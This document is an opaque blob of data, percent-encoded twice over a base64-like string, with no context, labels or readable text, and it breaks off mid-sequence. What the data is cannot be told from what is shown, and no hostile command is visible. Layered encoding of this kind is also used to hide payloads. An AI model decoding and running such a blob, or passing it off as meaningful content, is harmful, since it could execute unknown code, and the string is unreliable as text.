%33%30%25%37%61%25%36%36%25%33%39%25%34%34%25%36%32%25%37%36%25%37%32%25%36%63%25%35%39%25%34%65%25%37%31%25%36%37%25%34%66%25%34%39%25%36%64%25%36%61%25%37%37%25%36%62%25%36%66%25%36%35%25%34%62%25%34%37%25%34%35%25%36%62%25%37%37%25%36%38%25%33%31%25%36%65%25%33%31%25%35%33%25%34%39%25%36%32%25%34%36%25%33%36%25%33%36%25%34%65%25%34%33%25%35%30%25%35%39%25%35%33%25%33%36%25%33%32%25%33%38%25%35%39%25%37%31%25%33%33%25%36%31%25%37%33%25%34%35%25%37%34%25%32%66%25%37%32%25%35%61%25%35%39%25%37%61%25%37%31%25%34%38%25%35%38%25%36%35%25%34%61%25%34%37%25%35%39%25%34%35%25%34%63%25%36%61%25%33%37%25%35%38%25%36%33%25%37%36%25%33%39%25%33%30%25%34%32%25%34%38%25%33%33%25%37%39%25%35%36%25%37%32%25%35%37%25%36%66%25%33%38%25%35%37%25%34%39%25%36%63%25%35%32%25%34%61%25%37%39%25%35%32%25%37%34%25%35%30%25%34%35%25%36%31%25%33%30%25%35%35%25%34%38%25%37%32%25%34%31%25%36%66%25%36%32%25%33%34%25%33%39%25%33%39%25%35%36%25%37%36%25%34%31%25%34%36%25%36%34%25%37%33%25%34%37%25%34%64%25%36%34%25%37%31%25%34%62%25%34%61%25%35%38%25%35%37%25%33%39%25%37%30%25%32%66%25%32%66%25%37%36%25%36%31%25%33%37%25%33%38%25%36%36%25%37%36%25%37%61%25%32%66%25%32%66%25%33%35%25%34%65%25%35%32%25%33%32%25%36%35%25%36%66%25%37%37%25%37%35%25%36%36%25%35%33%25%35%39%25%34%39%25%34%35%25%36%64%25%36%36%25%34%65%25%36%36%25%33%30%25%35%34%25%35%37%25%32%62%25%35%33%25%34%31%25%36%62%25%37%33%25%36%38%25%36%32%25%36%64%25%35%32%25%37%35%25%32%62%25%36%62%25%37%37%25%36%38%25%34%35%25%32%66%25%33%34%25%36%39%25%36%64%25%36%31%25%34%38%25%34%61%25%34%64%25%36%34%25%35%36%25%35%36%25%34%36%25%37%37%25%33%32%25%37%61%25%34%65%25%35%33%25%34%31%25%33%34%25%35%32%25%34%64%25%37%30%25%33%39%25%35%33%25%34%63%25%37%37%25%36%65%25%33%34%25%34%38%25%36%38%25%37%39%25%36%63%25%36%32%25%37%61%25%36%37%25%34%61%25%33%37%25%33%36%25%35%32%25%34%61%25%33%38%25%37%36%25%32%62%25%37%36%25%37%34%25%32%66%25%34%65%25%37%33%25%36%34%25%37%33%25%37%38%25%35%31%25%37%30%25%34%35%25%36%37%25%35%38%25%32%66%25%33%38%25%34%32%25%37%39%25%37%39%25%33%31%25%33%37%25%34%35%25%37%35%25%37%36%25%34%34%25%35%61%25%34%62%25%35%39%25%34%61%25%33%33%25%34%64%25%33%31%25%36%61%25%33%34%25%36%35%25%37%38%25%35%38%25%34%35%25%33%30%25%34%65%25%36%66%25%33%30%25%34%61%25%34%38%25%34%37%25%36%39%25%34%33%25%36%39%25%36%31%25%35%36%25%36%38%25%34%61%25%34%61%25%33%32%25%34%39%25%35%30%25%36%38%25%34%32%25%33%38%25%32%66%25%33%37%25%32%62%25%33%31%25%34%63%25%33%32%25%33%32%25%33%39%25%37%31%25%37%32%25%36%62%25%33%37%25%35%30%25%35%39%25%35%31%25%34%63%25%34%62%25%36%62%25%37%61%25%34%38%25%36%34%25%37%37%25%33%32%25%34%35%25%34%36%25%34%61%25%34%34%25%35%31%25%34%35%25%36%31%25%33%36%25%33%36%25%37%30%25%36%65%25%37%31%25%36%64%25%33%36%25%33%31%25%36%36%25%33%33%25%34%35%25%37%36%25%34%63%25%37%36%25%35%30%25%37%61%25%33%38%25%33%37%25%35%31%25%34%37%25%34%35%25%33%34%25%34%38%25%37%34%25%36%37%25%37%34%25%37%37%25%36%62%25%33%39%25%34%66%25%33%31%25%36%39%25%36%35%25%34%62%25%35%33%25%34%64%25%35%38%25%37%35%25%36%39%25%35%34%25%34%32%25%36%38%25%34%61%25%35%33%25%34%62%25%34%64%25%36%61%25%33%38%25%37%30%25%35%35%25%34%39%25%37%38%25%34%65%25%34%64%25%35%32%25%33%37%25%35%39%25%37%32%25%35%31%25%34%32%25%36%63%25%37%36%25%36%36%25%36%32%25%34%38%25%33%35%25%36%64%25%36%64%25%36%33%25%37%61%25%34%64%25%36%61%25%36%32%25%37%38%25%34%65%25%33%38%25%34%39%25%35%33%25%35%31%25%36%63%25%33%35%25%36%62%25%34%38%25%37%34%25%35%30%25%33%32%25%33%32%25%34%38%25%33%38%25%33%38%25%34%31%25%36%62%25%36%37%25%34%32%25%34%31%25%34%64%25%35%39%25%34%35%25%36%61%25%34%35%25%34%31%25%35%39%25%34%34%25%34%35%25%35%32%25%34%32%25%34%31%25%36%31%25%36%64%25%36%66%25%35%31%25%34%63%25%37%31%25%33%36%25%34%35%25%34%31%25%35%31%25%34%39%25%34%39%25%36%37%25%35%34%25%35%35%25%33%33%25%34%66%25%36%31%25%34%61%25%37%37%25%34%66%25%33%37%25%37%30%25%36%64%25%36%35%25%32%66%25%34%31%25%33%35%25%35%33%25%35%36%25%36%36%25%36%32%25%35%39%25%35%30%25%36%66%25%37%32%25%36%39%25%36%61%25%33%30%25%35%31%25%34%39%25%36%33%25%34%33%25%33%30%25%34%32%25%34%35%25%35%31%25%36%64%25%36%66%25%32%66%25%36%64%25%33%34%25%37%37%25%34%38%25%37%39%25%36%37%25%36%34%25%37%33%25%37%31%25%33%33%25%33%34%25%35%30%25%36%34%25%36%38%25%33%32%25%34%64%25%34%31%25%34%31%25%35%31%25%34%62%25%33%37%25%33%32%25%35%30%25%33%33%25%37%38%25%36%31%25%35%34%25%36%37%25%34%32%25%36%66%25%34%39%25%34%34%25%36%33%25%34%39%25%33%38%25%35%36%25%33%37%25%34%36%25%34%31%25%35%34%25%36%66%25%36%36%25%37%35%25%36%36%25%35%61%25%36%39%25%36%35%25%33%34%25%35%36%25%34%39%25%32%66%25%32%66%25%36%35%25%37%35%25%32%66%25%33%33%25%36%38%25%37%39%25%33%33%25%33%32%25%34%64%25%33%33%25%36%31%25%34%33%25%37%34%25%33%34%25%36%31%25%33%35%25%37%34%25%36%36%25%37%31%25%37%37%25%36%65%25%37%34%25%32%66%25%35%36%25%37%35%25%37%34%25%33%34%25%34%34%25%37%37%25%37%30%25%37%32%25%37%35%25%36%64%25%35%36%25%36%36%25%36%34%25%34%36%25%33%39%25%32%66%25%36%35%25%37%34%25%34%33%25%36%61%25%36%33%25%36%61%25%36%37%25%33%32%25%34%37%25%32%66%25%36%65%25%33%33%25%34%31%25%37%32%25%32%62%25%36%34%25%34%35%25%36%65%25%35%61%25%36%32%25%32%62%25%33%33%25%34%63%25%33%33%25%37%33%25%35%32%25%33%32%25%32%66%25%33%30%25%36%66%25%36%33%25%36%31%25%37%35%25%34%32%25%33%37%25%35%61%25%34%35%25%37%32%25%35%33%25%32%62%25%35%38%25%36%37%25%36%37%25%36%32%25%33%38%25%34%63%25%36%34%25%33%36%25%33%30%25%36%65%25%32%66%25%33%39%25%35%30%25%35%61%25%34%65%25%36%39%25%34%32%25%36%65%25%36%38%25%34%61%25%36%65%25%33%35%25%35%33%25%35%31%25%35%35%25%36%63%25%36%64%25%34%37%25%35%33%25%34%65%25%37%35%25%35%37%25%34%31%25%37%32%25%34%64%25%34%31%25%37%37%25%36%38%25%34%33%25%34%37%25%37%61%25%34%61%25%34%38%25%36%64%25%35%34%25%36%36%25%37%36%25%36%38%25%36%62%25%34%38%25%37%61%25%36%63%25%34%35%25%37%35%25%35%38%25%34%61%25%36%63%25%37%37%25%36%61%25%35%34%25%36%31%25%34%34%25%34%39%25%35%34%25%34%36%25%34%36%25%35%33%25%36%64%25%33%36%25%34%32%25%36%37%25%37%34%25%35%39%25%36%33%25%34%38%25%36%31%25%34%64%25%36%63%25%33%34%25%35%35%25%34%38%25%37%39%25%35%32%25%35%37%25%35%38%25%35%34%25%34%62%25%37%30%25%36%66%25%36%64%25%37%34%25%35%38%25%35%34%25%34%64%25%33%36%25%32%62%25%34%63%25%34%65%25%34%37%25%36%38%25%36%63%25%36%32%25%36%38%25%34%64%25%33%33%25%34%32%25%34%64%25%34%35%25%34%61%25%37%32%25%36%64%25%32%62%25%34%33%25%37%33%25%34%32%25%34%35%25%35%36%25%34%62%25%36%31%25%33%31%25%34%61%25%37%33%25%34%36%25%33%35%25%36%64%25%36%33%25%37%37%25%35%31%25%34%61%25%34%63%25%34%66%25%34%35%25%37%30%25%34%62%25%36%64%25%33%30%25%36%64%25%34%34%25%37%61%25%36%35%25%33%30%25%35%37%25%36%38%25%36%39%25%36%36%25%33%32%25%37%30%25%37%61%25%33%36%25%36%66%25%36%39%25%33%30%25%35%35%25%36%62%25%37%37%25%32%62%25%36%36%25%34%34%25%33%35%25%32%62%25%35%30%25%36%65%25%33%31%25%33%35%25%33%35%25%33%39%25%37%32%25%37%31%25%35%36%25%35%61%25%33%39%25%34%61%25%33%34%25%34%61%25%35%39%25%34%32%25%33%35%25%34%65%25%34%31%25%36%66%25%34%32%25%37%61%25%36%63%25%33%37%25%33%38%25%34%66%25%37%33%25%36%37%25%35%36%25%35%32%25%37%61%25%36%66%25%34%32%25%37%30%25%35%34%25%37%38%25%34%32%25%34%33%25%34%35%25%35%39%25%37%39%25%37%30%25%35%39%25%33%32%25%34%34%25%36%38%25%36%64%25%33%30%25%32%62%25%36%35%25%36%64%25%32%66%25%37%38%25%36%37%25%36%39%25%34%65%25%33%33%25%37%38%25%36%31%25%33%33%25%37%38%25%36%34%25%34%38%25%32%62%25%36%39%25%37%36%25%34%62%25%37%37%25%35%38%25%36%66%25%34%33%25%35%31%25%34%34%25%33%35%25%37%61%25%33%32%25%36%35%25%34%31%25%34%65%25%35%31%25%34%62%25%37%37%25%34%31%25%34%31%25%35%38%25%37%33%25%34%32%25%37%32%25%34%32%25%34%31%25%33%31%25%36%62%25%34%33%25%36%37%25%33%38%25%34%32%25%37%37%25%37%38%25%34%66%25%33%30%25%35%30%25%36%63%25%32%66%25%34%66%25%37%33%25%37%31%25%37%39%25%37%37%25%36%37%25%36%33%25%36%37%25%36%63%25%35%61%25%37%39%25%36%62%25%37%39%25%35%61%25%37%31%25%36%63%25%34%62%25%32%66%25%34%63%25%36%61%25%33%37%25%33%37%25%36%32%25%34%39%25%35%33%25%35%37%25%33%30%25%36%65%25%34%66%25%37%33%25%33%30%25%35%35%25%34%39%25%34%65%25%33%38%25%35%37%25%35%34%25%36%32%25%34%35%25%33%37%25%36%65%25%35%30%25%32%66%25%36%31%25%36%34%25%32%66%25%33%39%25%36%39%25%34%36%25%35%38%25%37%32%25%34%65%25%36%64%25%33%33%25%36%32%25%37%34%25%36%35%25%33%38%25%35%31%25%34%31%25%34%34%25%36%64%25%37%61%25%36%36%25%35%31%25%34%35%25%35%38%25%36%62%25%37%31%25%35%32%25%36%31%25%34%37%25%34%32%25%35%35%25%34%62%25%35%38%25%36%33%25%37%33%25%37%33%25%35%36%25%36%63%25%36%39%25%37%34%25%37%33%25%36%63%25%36%63%25%36%61%25%37%34%25%33%38%25%33%35%25%36%38%25%36%37%25%33%39%25%34%64%25%36%64%25%36%63%25%37%39%25%33%31%25%37%35%25%33%32%25%37%61%25%37%38%25%33%32%25%36%35%25%34%66%25%33%33%25%37%39%25%33%32%25%36%35%25%34%65%25%33%33%25%34%39%25%34%66%25%36%38%25%35%31%25%37%39%25%34%61%25%34%37%25%37%37%25%35%39%25%37%38%25%34%35%25%36%65%25%36%66%25%36%62%25%33%37%25%34%36%25%36%65%25%34%39%25%36%62%25%33%37%25%36%63%25%33%33%25%34%31%25%37%30%25%33%35%25%35%35%25%37%32%25%36%31%25%37%34%25%36%31%25%37%37%25%36%32%25%34%66%25%36%32%25%36%36%25%37%39%25%33%37%25%36%38%25%35%34%25%36%33%25%34%62%25%33%33%25%37%30%25%35%31%25%35%31%25%36%39%25%37%34%25%36%61%25%35%36%25%35%38%25%34%36%25%37%31%25%35%32%25%34%66%25%37%32%25%34%35%25%34%37%25%36%39%25%35%33%25%36%31%25%35%61%25%34%65%25%37%32%25%36%62%25%34%66%25%37%30%25%35%32%25%33%36%25%35%36%25%35%30%25%37%32%25%35%35%25%34%32%25%36%61%25%35%33%25%34%37%25%37%34%25%34%38%25%36%37%25%33%36%25%34%39%25%33%33%25%36%66%25%34%33%25%36%37%25%33%30%25%36%34%25%34%37%25%35%39%25%32%66%25%34%64%25%34%31%25%33%37%25%34%32%25%33%38%25%34%31%25%37%35%25%34%32%25%34%65%25%34%39%25%33%36%25%35%33%25%35%38%25%37%39%25%37%30%25%34%39%25%37%38%25%35%34%25%36%62%25%37%37%25%34%38%25%36%64%25%37%39%25%35%32%25%34%31%25%35%38%25%34%61%25%35%33%25%35%30%25%37%33%25%36%65%25%36%66%25%37%38%25%37%38%25%36%34%25%35%38%25%34%62%25%34%36%25%37%37%25%33%35%25%34%65%25%37%32%25%33%33%25%34%61%25%34%64%25%33%38%25%33%34%25%33%38%25%34%34%25%36%62%25%34%32%25%36%32%25%36%33%25%36%63%25%36%65%25%37%61%25%36%37%25%37%31%25%32%62%25%36%33%25%34%63%25%33%39%25%36%32%25%35%39%25%37%37%25%37%31%25%34%35%25%35%35%25%36%62%25%35%36%25%35%61%25%36%63%25%34%62%25%34%65%25%36%31%25%34%37%25%36%66%25%37%37%25%36%64%25%33%31%25%37%32%25%34%35%25%35%35%25%36%66%25%36%35%25%33%35%25%33%31%25%34%33%25%34%66%25%36%35%25%34%32%25%37%33%25%37%39%25%36%65%25%34%35%25%35%39%25%36%62%25%33%30%25%35%39%25%35%33%25%34%38%25%34%65%25%35%33%25%34%33%25%36%31%25%34%37%25%37%38%25%36%32%25%35%31%25%36%37%25%36%63%25%35%36%25%35%39%25%37%33%25%37%30%25%35%31%25%33%33%25%37%30%25%37%34%25%34%37%25%34%64%25%33%35%25%34%38%25%36%33%25%36%39%25%36%62%25%34%35%25%37%39%25%37%36%25%37%30%25%35%31%25%36%61%25%36%32%25%36%34%25%35%37%25%34%35%25%33%30%25%35%30%25%36%33%25%37%35%25%36%65%25%34%36%25%35%37%25%37%36%25%37%31%25%35%31%25%35%34%25%37%61%25%32%66%25%35%37%25%34%35%25%33%31%25%34%32%25%34%39%25%34%38%25%34%61%25%37%33%25%35%61%25%36%37%25%34%32%25%36%65%25%34%35%25%35%36%25%36%66%25%35%61%25%35%31%25%37%61%25%34%34%25%34%33%25%33%32%25%34%64%25%33%34%25%34%61%25%35%33%25%35%32%25%37%32%25%34%37%25%35%34%25%34%64%25%35%61%25%35%31%25%37%61%25%36%61%25%37%34%25%33%31%25%34%64%25%36%66%25%34%61%25%34%61%25%34%61%25%33%37%25%34%37%25%35%35%25%34%62%25%33%31%25%35%35%25%37%38%25%36%61%25%35%30%25%37%61%25%34%66%25%36%66%25%35%61%25%35%32%25%35%39%25%34%38%25%36%64%25%35%35%25%34%65%25%34%34%25%33%35%25%36%65%25%34%37%25%35%35%25%34%32%25%35%34%25%35%32%25%36%64%25%34%35%25%36%33%25%36%34%25%35%61%25%35%31%25%36%63%25%34%66%25%35%37%25%36%33%25%35%61%25%36%66%25%35%36%25%34%65%25%34%37%25%36%33%25%35%36%25%35%61%25%33%31%25%36%63%25%34%34%25%35%33%25%33%39%25%35%61%25%37%38%25%36%65%25%36%37%25%33%32%25%33%30%25%35%61%25%36%38%25%34%64%25%35%38%25%33%32%25%35%35%25%34%61%25%36%32%25%37%34%25%36%65%25%34%37%25%35%61%25%34%38%25%36%32%25%35%32%25%36%65%25%34%36%25%33%31%25%36%36%25%35%61%25%35%31%25%33%30%25%36%36%25%33%32%25%36%33%25%35%61%25%33%30%25%34%34%25%36%34%25%34%66%25%35%35%25%35%31%25%37%34%25%37%61%25%36%63%25%34%33%25%36%34%25%33%34%25%33%35%25%37%38%25%36%63%25%37%38%25%35%30%25%33%30%25%33%35%25%34%32%25%35%34%25%33%33%25%34%66%25%35%35%25%34%65%25%37%36%25%37%61%25%37%36%25%34%37%25%35%31%25%34%33%25%32%66%25%35%34%25%36%63%25%34%35%25%36%66%25%32%62%25%33%35%25%37%37%25%36%62%25%34%33%25%37%35%25%33%38%25%35%61%25%37%37%25%36%32%25%34%34%25%34%66%25%35%39%25%35%37%25%34%63%25%33%37%25%36%65%25%34%34%25%36%33%25%34%66%25%33%37%25%37%38%25%36%63%25%36%37%25%36%35%25%34%64%25%33%35%25%34%32%25%34%38%25%37%36%25%36%35%25%36%33%25%34%61%25%36%66%25%36%65%25%37%36%25%34%37%25%35%32%25%34%36%25%33%34%25%37%61%25%36%63%25%34%36%25%35%61%25%33%39%25%33%35%25%37%37%25%33%33%25%36%61%25%36%35%25%33%38%25%35%61%25%35%35%25%35%30%25%35%34%25%34%66%25%35%31%25%35%34%25%33%33%25%32%66%25%36%65%25%34%33%25%35%61%25%34%63%25%33%37%25%37%38%25%36%62%25%37%38%25%33%39%25%34%64%25%33%35%25%35%32%25%36%35%25%32%66%25%32%62%25%36%33%25%34%65%25%33%30%25%32%66%25%37%36%25%34%36%25%35%38%25%34%33%25%36%36%25%37%35%25%37%61%25%34%31%25%35%30%25%33%35%25%34%61%25%34%35%25%34%37%25%35%33%25%34%65%25%34%38%25%36%33%25%33%36%25%34%32%25%37%37%25%34%36%25%37%36%25%36%37%25%33%34%25%34%33%25%34%36%25%36%32%25%34%33%25%36%32%25%35%39%25%36%65%25%34%37%25%35%37%25%33%32%25%36%37%25%36%33%25%36%65%25%36%32%25%36%64%25%33%36%25%32%66%25%36%62%25%34%63%25%36%32%25%35%35%25%35%31%25%34%39%25%34%38%25%37%61%25%34%31%25%36%33%25%36%38%25%32%66%25%35%61%25%36%34%25%34%34%25%36%34%25%33%36%25%33%32%25%36%37%25%33%39%25%34%64%25%35%37%25%34%66%25%34%31%25%32%62%25%36%31%25%37%61%25%37%38%25%35%35%25%34%34%25%37%35%25%36%31%25%36%36%25%35%34%25%35%36%25%35%39%25%36%61%25%35%33%25%37%30%25%34%33%25%34%31%25%34%37%25%33%35%25%37%34%25%33%35%25%34%64%25%34%61%25%34%35%25%33%38%25%35%39%25%33%35%25%34%34%25%36%37%25%33%36%25%36%66%25%33%36%25%37%34%25%34%65%25%36%35%25%34%63%25%35%61%25%36%31%25%36%31%25%33%34%25%34%31%25%37%38%25%37%35%25%36%65%25%34%35%25%33%36%25%35%61%25%34%38%25%37%39%25%37%38%25%36%62%25%36%31%25%33%36%25%36%64%25%37%61%25%37%39%25%36%66%25%36%66%25%34%65%25%36%66%25%34%38%25%37%33%25%32%62%25%33%36%25%34%34%25%36%61%25%34%31%25%34%33%25%35%36%25%34%37%25%35%34%25%34%35%25%36%66%25%33%33%25%34%31%25%35%61%25%36%33%25%36%31%25%35%61%25%36%62%25%33%39%25%36%32%25%35%38%25%36%64%25%35%61%25%36%37%25%36%64%25%34%66%25%35%31%25%35%39%25%33%39%25%36%31%25%33%33%25%37%34%25%35%33%25%36%61%25%34%31%25%37%33%25%35%31%25%36%64%25%37%37%25%34%37%25%37%32%25%34%61%25%37%37%25%34%31%25%33%31%25%35%33%25%35%36%25%36%63%25%36%62%25%32%62%25%36%38%25%37%61%25%36%38%25%34%64%25%35%33%25%36%33%25%35%39%25%34%63%25%35%32%25%36%36%25%37%35%25%33%36%25%36%36%25%33%32%25%35%61%25%36%66%25%36%63%25%35%37%25%34%39%25%34%61%25%33%36%25%35%34%25%35%61%25%36%62%25%36%37%25%33%33%25%36%64%25%34%34%25%35%39%25%37%30%25%37%31%25%35%33%25%36%31%25%33%35%25%34%35%25%37%31%25%34%64%25%37%39%25%34%37%25%34%38%25%35%33%25%35%36%25%33%36%25%35%37%25%35%32%25%36%31%25%36%38%25%35%61%25%33%32%25%36%33%25%37%38%25%37%33%25%34%31%25%37%37%25%36%35%25%35%35%25%37%38%25%36%62%25%34%66%25%34%39%25%36%39%25%37%61%25%33%31%25%37%33%25%32%62%25%36%64%25%35%37%25%34%62%25%36%34%25%33%34%25%35%38%25%34%34%25%35%31%25%35%61%25%35%39%25%37%39%25%36%33%25%35%37%25%35%61%25%35%38%25%36%37%25%36%62%25%34%38%25%37%38%25%36%33%25%34%33%25%35%36%25%37%38%25%37%35%25%34%65%25%37%37%25%36%32%25%36%62%25%37%37%25%37%37%25%33%37%25%35%34%25%34%61%25%34%36%25%33%31%25%34%66%25%34%65%25%34%64%25%34%32%25%35%61%25%32%62%25%35%30%25%36%61%25%35%30%25%37%37%25%33%36%25%36%65%25%36%39%25%33%33%25%34%66%25%34%31%25%34%34%25%37%39%25%34%33%25%35%37%25%35%61%25%34%31%25%36%35%25%34%35%25%34%64%25%33%38%25%35%37%25%33%32%25%35%38%25%34%37%25%36%32%25%35%35%25%37%30%25%36%32%25%34%35%25%33%32%25%33%31%25%34%33%25%36%38%25%37%35%25%37%32%25%35%36%25%35%35%25%35%61%25%35%37%25%37%38%25%34%37%25%34%38%25%35%37%25%33%37%25%37%34%25%36%63%25%34%61%25%37%33%25%34%32%25%37%36%25%37%37%25%37%33%25%35%35%25%35%32%25%33%36%25%37%32%25%35%35%25%36%63%25%34%62%25%35%36%25%37%36%25%33%30%25%33%39%25%37%38%25%37%35%25%35%35%25%34%33%25%33%38%25%34%39%25%37%37%25%34%33%25%33%38%25%34%32%25%34%33%25%34%31%25%33%31%25%33%34%25%34%38%25%34%62%25%37%37%25%36%32%25%33%34%25%36%38%25%34%37%25%33%30%25%34%61%25%37%35%25%34%31%25%33%35%25%36%39%25%34%36%25%33%38%25%33%36%25%34%31%25%34%35%25%34%37%25%35%32%25%35%32%25%34%34%25%34%64%25%37%37%25%37%32%25%37%38%25%36%37%25%34%64%25%37%30%25%36%37%25%32%62%25%35%30%25%34%34%25%33%36%25%34%61%25%33%39%25%34%35%25%33%39%25%37%39%25%32%66%25%37%30%25%35%33%25%36%65%25%34%38%25%37%38%25%35%36%25%36%36%25%35%38%25%34%61%25%34%35%25%35%38%25%37%32%25%35%34%25%34%31%25%34%36%25%35%61%25%37%31%25%34%61%25%34%39%25%34%65%25%36%32%25%36%61%25%34%37%25%34%66%25%33%36%25%36%31%25%33%32%25%36%31%25%36%31%25%36%32%25%34%36%25%35%30%25%34%61%25%33%33%25%36%38%25%37%37%25%35%61%25%35%31%25%36%33%25%36%35%25%34%63%25%34%32%25%36%66%25%36%64%25%33%37%25%33%31%25%37%61%25%33%30%25%36%39%25%34%39%25%34%38%25%36%34%25%37%61%25%35%61%25%33%37%25%34%32%25%35%30%25%33%33%25%37%33%25%35%33%25%34%64%25%33%37%25%34%65%25%35%32%25%33%38%25%34%64%25%37%31%25%36%34%25%36%33%25%37%31%25%36%34%25%33%39%25%35%32%25%36%33%25%35%36%25%36%32%25%37%32%25%36%66%25%36%32%25%37%61%25%33%37%25%36%35%25%36%35%25%33%31%25%36%65%25%35%36%25%36%35%25%37%31%25%37%38%25%36%37%25%35%37%25%35%36%25%35%34%25%35%38%25%34%37%25%34%36%25%33%35%25%34%65%25%34%64%25%37%39%25%32%62%25%37%37%25%37%34%25%34%37%25%35%39%25%33%38%25%36%32%25%36%37%25%36%38%25%34%32%25%33%30%25%34%62%25%34%39%25%35%33%25%36%39%25%34%32%25%34%63%25%33%30%25%34%32%25%35%32%25%35%35%25%37%32%25%37%37%25%37%35%25%36%39%25%37%37%25%36%34%25%36%38%25%35%30%25%37%38%25%33%34%25%36%62%25%33%30%25%36%63%25%36%66%25%37%35%25%34%37%25%34%38%25%34%39%25%36%37%25%33%33%25%34%39%25%34%39%25%36%62%25%37%34%25%34%39%25%35%30%25%36%64%25%34%34%25%37%37%25%33%37%25%36%35%25%36%34%25%34%35%25%34%33%25%36%32%25%34%34%25%36%66%25%34%36%25%34%31%25%35%37%25%33%39%25%34%65%25%34%38%25%37%34%25%35%38%25%36%64%25%36%31%25%34%39%25%35%32%25%34%64%25%37%31%25%34%64%25%37%39%25%34%62%25%33%32%25%33%33%25%37%39%25%35%34%25%35%31%25%34%63%25%34%31%25%35%30%25%35%33%25%36%61%25%33%35%25%34%31%25%37%38%25%37%31%25%34%34%25%35%38%25%34%37%25%35%36%25%33%32%25%36%33%25%36%31%25%33%32%25%33%38%25%33%32%25%33%33%25%36%62%25%37%61%25%35%36%25%37%35%25%34%64%25%33%33%25%35%37%25%33%34%25%34%61%25%34%36%25%33%34%25%36%33%25%36%65%25%37%35%25%34%35%25%36%35%25%34%64%25%35%39%25%34%62%25%37%34%25%35%32%25%36%63%25%34%38%25%34%64%25%35%30%25%33%34%25%36%35%25%34%32%25%33%32%25%37%61%25%37%31%25%34%64%25%35%30%25%35%33%25%37%30%25%32%62%25%34%64%25%35%34%25%33%38%25%34%38%25%34%34%25%37%34%25%37%39%25%36%34%25%37%30%25%33%31%25%37%38%25%32%66%25%36%66%25%35%31%25%35%36%25%37%37%25%36%36%25%36%66%25%37%30%25%34%39%25%34%65%25%37%37%25%33%31%25%36%62%25%34%63%25%33%35%25%33%32%25%35%35%25%36%37%25%37%61%25%33%31%25%35%37%25%33%32%25%36%62%25%36%66%25%35%61%25%34%31%25%34%34%25%33%30%25%35%32%25%37%34%25%36%63%25%36%63%25%33%36%25%34%66%25%36%31%25%33%36%25%37%36%25%37%33%25%34%36%25%33%37%25%37%30%25%37%36%25%34%64%25%34%33%25%36%38%25%36%38%25%35%33%25%37%35%25%34%32%25%37%34%25%36%39%25%33%31%25%36%34%25%36%38%25%34%34%25%34%64%25%34%36%25%33%33%25%36%37%25%33%35%25%34%35%25%36%61%25%36%34%25%32%62%25%33%34%25%33%30%25%37%37%25%35%30%25%33%38%25%34%64%25%35%34%25%34%37%25%34%31%25%34%36%25%33%31%25%36%34%25%36%63%25%37%32%25%36%37%25%35%34%25%34%61%25%37%39%25%36%35%25%32%66%25%33%36%25%37%37%25%37%32%25%33%39%25%34%66%25%33%32%25%33%35%25%36%62%25%36%62%25%36%61%25%36%31%25%37%36%25%32%62%25%37%61%25%34%35%25%35%30%25%36%64%25%37%39%25%34%32%25%33%38%25%35%39%25%36%64%25%33%34%25%37%37%25%34%34%25%37%35%25%37%32%25%35%32%25%36%62%25%34%63%25%32%62%25%34%61%25%34%31%25%36%35%25%34%33%25%34%61%25%36%63%25%36%35%25%33%33%25%35%33%25%33%38%25%33%32%25%35%30%25%36%35%25%33%36%25%34%63%25%36%65%25%35%33%25%34%64%25%37%39%25%36%35%25%37%32%25%34%63%25%35%37%25%36%36%25%33%31%25%36%32%25%35%36%25%34%65%25%36%62%25%33%38%25%35%38%25%34%37%25%35%38%25%36%36%25%32%66%25%34%33%25%36%63%25%33%34%25%35%31%25%37%32%25%34%33%25%33%38%25%34%39%25%33%33%25%37%31%25%33%30%25%36%61%25%35%61%25%35%30%25%33%39%25%34%35%25%36%39%25%37%32%25%32%66%25%37%39%25%34%38%25%35%38%25%36%31%25%36%32%25%35%32%25%34%64%25%34%33%25%34%62%25%37%35%25%36%33%25%36%65%25%34%31%25%34%38%25%35%36%25%35%37%25%33%36%25%36%63%25%35%61%25%35%35%25%34%38%25%36%31%25%34%65%25%36%31%25%36%36%25%36%39%25%34%64%25%37%37%25%37%34%25%35%34%25%33%34%25%33%33%25%33%30%25%33%36%25%35%31%25%37%31%25%34%66%25%37%32%25%34%62%25%34%32%25%33%37%25%34%66%25%37%39%25%34%36%25%36%65%25%36%38%25%34%33%25%36%63%25%35%33%25%35%30%25%33%31%25%33%32%25%35%61%25%37%36%25%36%63%25%36%62%25%36%64%25%35%37%25%34%38%25%36%64%25%35%37%25%35%35%25%33%33%25%34%65%25%37%37%25%37%35%25%34%38%25%33%34%25%37%32%25%35%37%25%37%37%25%35%30%25%33%37%25%34%64%25%34%61%25%36%35%25%37%36%25%36%64%25%37%33%25%36%35%25%33%32%25%34%39%25%36%31%25%34%65%25%32%66%25%36%31%25%33%36%25%37%34%25%35%38%25%35%37%25%34%33%25%37%33%25%33%33%25%37%37%25%34%35%25%35%32%25%33%35%25%34%32%25%34%35%25%34%35%25%36%65%25%36%66%25%34%63%25%32%62%25%34%66%25%35%35%25%36%34%25%33%30%25%33%36%25%35%37%25%33%34%25%37%32%25%36%37%25%34%61%25%34%63%25%36%38%25%36%62%25%33%32%25%33%36%25%34%63%25%35%36%25%36%64%25%34%37%25%36%39%25%33%38%25%34%61%25%36%34%25%33%34%25%37%31%25%33%36%25%37%33%25%35%61%25%33%32%25%34%31%25%34%37%25%36%31%25%37%36%25%34%66%25%37%31%25%36%63%25%33%39%25%37%35%25%33%37%25%33%36%25%37%61%25%36%63%25%35%39%25%36%38%25%33%32%25%36%64%25%35%36%25%35%31%25%37%37%25%32%66%25%36%63%25%36%65%25%35%34%25%36%37%25%37%36%25%34%34%25%35%36%25%35%34%25%36%32%25%34%35%25%35%61%25%35%39%25%35%38%25%36%65%25%35%31%25%36%62%25%36%66%25%34%37%25%37%38%25%34%62%25%37%39%25%37%37%25%35%32%25%37%30%25%37%61%25%35%32%25%33%38%25%33%31%25%35%37%25%34%66%25%36%38%25%37%39%25%34%61%25%34%36%25%36%33%25%36%65%25%35%31%25%33%37%25%33%36%25%33%38%25%35%37%25%37%31%25%33%38%25%32%62%25%35%36%25%36%66%25%36%35%25%36%64%25%33%37%25%34%62%25%33%33%25%34%61%25%35%32%25%35%33%25%34%32%25%32%62%25%34%37%25%34%35%25%34%38%25%35%34%25%34%63%25%36%37%25%32%62%25%36%33%25%35%61%25%34%32%25%33%37%25%37%35%25%33%36%25%34%33%25%34%64%25%35%39%25%36%35%25%34%38%25%33%33%25%35%36%25%33%31%25%36%33%25%33%33%25%33%38%25%33%33%25%37%38%25%33%33%25%35%61%25%33%32%25%34%63%25%37%35%25%37%36%25%33%32%25%33%30%25%33%31%25%35%31%25%35%36%25%34%34%25%35%34%25%33%31%25